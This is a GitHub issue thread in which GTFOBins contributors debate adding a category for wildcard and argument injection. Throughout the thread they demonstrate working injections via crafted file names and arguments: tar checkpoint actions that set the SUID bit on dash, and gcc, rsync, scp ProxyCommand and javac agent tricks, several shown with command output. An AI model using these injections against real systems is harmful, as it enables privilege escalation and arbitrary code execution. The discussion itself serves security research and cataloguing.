New Function: Wildcard / Parameter Injection

[emanuelduss]

Hi

Before submitting a PR I would like to hear your opinion.

Would it make sense to create a new function for wildcard / parameter injection possibilities?

This function would address all binaries which could be used to execute a function via a command line argument.

A well-known example is the tar command and the arguments --checkpoint-action=exec="chmod +s `which dash`" --checkpoint=1 as e.g. documented here: https://materials.rangeforce.com/tutorial/2019/11/08/Linux-PrivEsc-Wildcard/

I'm aware that this command execution method is already documented in GTFOBins, but it cannot be identified as wildcard or parameter injection. A new category would make sense for me to quickly identify binaries which can be abused for privesc if one or more parameters can be controlled.

What do you think?

THX

[cyrus-and]

Hmm, I'd say that pretty much all the binaries suffer from that, and that tar isn't any different from any other from this perspective. What really enables wildcard parameter injection is how the program is called, and this depends entirely on the scenario as it requires that:

• the program is executed by a system()-like function, i.e., via a shell;
• the command line includes a *;
• you can write in the CWD so that * expands to your files too.

Take for example gcc:

gcc -wrapper /bin/sh,-s .

In the case it is executed in the above conditions as:

gcc *

It can be exploited like:

$ touch -- -wrapper sh,-s x
$ gcc *

So basically any binary that does not require user interaction would fall in this category, right?

[emanuelduss]

I'm still not very sure if it makes sense to collect such commands.

Yes, only binaries which do not require user interaction. It does however also not make sense if the command in the end is not realistic. When would someone just call gcc *? For tar, it would be a valid scenario in a cronjob. I also tried some examples with rsync and scp but could not produce a working method to execute a command. The command in the cron job would not just be rsync *. The command would already have more options and only some part of the command can be controlled.

The exploitation of such a wrong usage is very specific and I think it's difficult to provide a "general" exploit command. The technique behind the execution is already available in GTFOBins and the rest could usually be figured out I guess.

[cyrus-and]

I agree about the realistic part but I don't think it is something we want to take into account here.

But again, it really applies to pretty much every command, with the above limitations and a variable degree of ease of implementation.

Here's rsync for example:

$ touch -- '-esh -c "id 1>&2"' x:x
$ rsync *
uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)

scp is more complex (impossible?) as it requires an external executable file in the $PATH and we cannot write a file name that contains /.

Having said that, I don't think this is something that justifies adding a new function.

---

But, we're playing with the idea of a complete rework of the structure of the data files, where sudo, SUID, etc. stop being functions and become features of a given example/procedure (possibly with a different code example, if needed).

This is very WIP, but I think that wildcard-injection could be a feature of some procedures that indicates that it is possible to exploit the * invocation in a scenario where it is only possible to create files with a given name and content.

[emanuelduss]

OK, this new feature structure sounds interesting.

In scp, there might be a solution using the -o ProxyCommand option from SSH but I could not create a working example within some minutes.

[cyrus-and]

In scp, there might be a solution using the -o ProxyCommand option from SSH but I could not create a working example within some minutes.

Nice! Here you are:

$ touch -- '-oProxyCommand=;id>&2' x x:
$ scp *
uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)
ssh_exchange_identification: Connection closed by remote host
lost connection

[emanuelduss]

Yeah, THX.

Ah, I did not use the >&2 but added the -v to get the command output. I added it in the same file as the -o parameter and this breaks it:

$ touch -- "-v -o ProxyCommand=id" x x:
$ scp *
unknown option --  
usage: scp [-346ABCpqrTv] [-c cipher] [-F ssh_config] [-i identity_file]
           [-J destination] [-l limit] [-o ssh_option] [-P port]
           [-S program] source ... target

I think because this is treated as one argument:

execve("/usr/bin/scp", ["scp", "-v -o ProxyCommand=id", "x", "x:"], 0x7ffc62e78cf8 /* 58 vars */) = 0
[...]

So this makes sense.

Using multiple files:

$ touch -- "-o ProxyCommand=id" x x: -v

Then it works:

$ scp *
Executing: program /usr/bin/ssh host x, user (unspecified), command scp -v -t .
OpenSSH_8.5p1, OpenSSL 1.1.1j  16 Feb 2021
debug1: Reading configuration data /home/emanuel/.ssh/config
[...]
debug1: kex_exchange_identification: banner line 0: uid=1000(emanuel) gid=1000(emanuel) groups=1000(emanuel),108(vboxusers),998(wheel)
kex_exchange_identification: Connection closed by remote host
Connection closed by UNKNOWN port 65535
lost connection

Strace shows now the correct invocation:

execve("/usr/bin/scp", ["scp", "-o ProxyCommand=id", "-v", "x", "x:"], 0x7ffffe285950 /* 58 vars */) = 0
[...]

But your solution is more elegant anyways 😄 👍

[MegaManSec]

Hi all,
I'm currently working on a clone of GTFOBins called GTFOArgs which is focused on argument injection: https://gtfoargs.github.io/
I hope I've done enough to mention the original project. Thought I'd let you know. Any changes needed, let me know.

[cyrus-and]

@MegaManSec I honestly don't see how that's focusing of argument injection, by looking at the examples I just see the usual stuff...

I see value in this @emanuelduss's suggestion, and I can see adding such new function in the upcoming release (which is mostly done, I only wish I had time and energy to finalize it...), but I don't really understand how your clone relates to that.

[MegaManSec]

@cyrus-and: Hey, thanks for the reply and merging #373.
The use-case for gtfoargs is when there is some code, for example the following PHP, in a codebase:
system("dos2unix " . escapeshellarg($_GET['filename'])); and we want to know what funky stuff we can do with dos2unix if we can control its arguments

In this example, we cannot set the filename to equal something like ; uname -a because ; is escaped. However, setting filename to -f < /etc/passwd will be accepted, and dos2unix -f < /etc/passwd will be executed, printing the contents of /etc/passwd on the screen – rather than the intended inplace substitution that dos2unix is known for.
That's where the confusion for PR #373 has happened: The purpose of the file-read function which I included in the PR isn't the idea that dos2unix can read files based on its permissions, it's that dos2unix can read and display the contents of files using the redirection <, rather than read and replace, which dos2unix is intended for.

The asterisk expansion in the OP of this issue is just one form of argument injection, and is only related to creating files with the arguments; but creating files which will be included in asterisk expansion is only one use-case. Argument injection is seen in many languages which don't allow for calling execve(2) directly. See 0 1 2 3 4 5 and so on to just name a few.

The value I see is that when you see some code that calls system() or something equivalent, you can check whether there are any known values which can abuse the arguments provided by the program. It's a much broader topic than just "create a file with the arguments, which will be expanded by the shell (dependent on the shell)".

[thomas-chauchefoin-sonarsource]

👋 I've been aware of this GitHub issue for some time before starting to work on the first version of a list of argument injection vectors, but I was not expecting a similar project to be released the same week!

On my side, I chose to focus on arguments leading to RCE when exploiting web bugs (i.e. not sudo misconfigurations) and I require links to advisories and write-ups so all vectors stay realistic. I also don't think they belong to GTFOBins, as these vectors won't help to "to bypass local security restrictions in misconfigured systems".

Maybe we can clarify our respective goals and see how we can make these projects merge or co-exist?

[MegaManSec]

Seems similar to mine indeed!:) Feel free to email me: joshua x joshua.hu

[cyrus-and]

The use-case for gtfoargs is when there is some code, for example the following PHP, in a codebase: system("dos2unix " . escapeshellarg($_GET['filename'])); and we want to know what funky stuff we can do with dos2unix if we can control its arguments

In this example, we cannot set the filename to equal something like ; uname -a because ; is escaped. However, setting filename to -f < /etc/passwd will be accepted, and dos2unix -f < /etc/passwd will be executed, printing the contents of /etc/passwd on the screen – rather than the intended inplace substitution that dos2unix is known for.

@MegaManSec IMHO this is not possible, and that system invocation is fairly safe, at least against what you're describing. From the documentation:

escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument.

Hence your < will never be treated as a redirection operator in the underlying shell as it will be passed in as a string, that invocation is equivalent to:

system("dos2unix '-f < /etc/passwd'")

And:

$ dos2unix '-f < /etc/passwd'
Usage: dos2unix [options] [file ...] [-n infile outfile ...]
[...]

What am I missing here?

[MegaManSec]

Bad example indeed:) Another example:

class_files = list_files(folder, allowed_ext=".java")
subprocess.run(["/usr/bin/javac", "-d", "/tmp/rand"]+class_files)

The attacker must create two files: exploit.java and -J-javaagent:exploit.java. exploit.java contains a malicious Java Agent, and the empty -J-javaagent:exploit.java file is simply injected as a parameter. More info here: https://github.com/DownUnderCTF/Challenges_2022_Public/tree/main/web/university-of-straya-part1/solution in part 3.

Anyways, AFAICT, basically parameter injections (not talking about wildcards) are a subset of what GTFOBins provides, and as Thomas has mentioned, are not about exploiting programs what they are usable with sudo, but rather just their general usage anywhere.

[cyrus-and]

So I tried to catch up on this, and after reading the discussion once again, I'm not sure we need another function/context for "Wildcard / Parameter Injection". Again, I think this applies to pretty much everything, but only in some very specific circumstances, i.e., a shell invocation must be involved that expands *, the arguments must contain only valid file name characters (e.g., no /), the ability of the attacker to write arbitrary files in the CWD, the command must accept arguments in alphabetical order (as * expands in that order), etc.

But apart from that, I struggle to imagine what a "Wildcard / Parameter Injection" entry would look like, I mean, starting from existing code examples in GTFOBins, is the proposal to add another code example which is suitable for argument injection? Or is the proposal about marking some existing code examples as suitable for argument injection?

I understand this is a very old topic, but please @emanuelduss, if you could clarify and add some examples of changes you would like to see...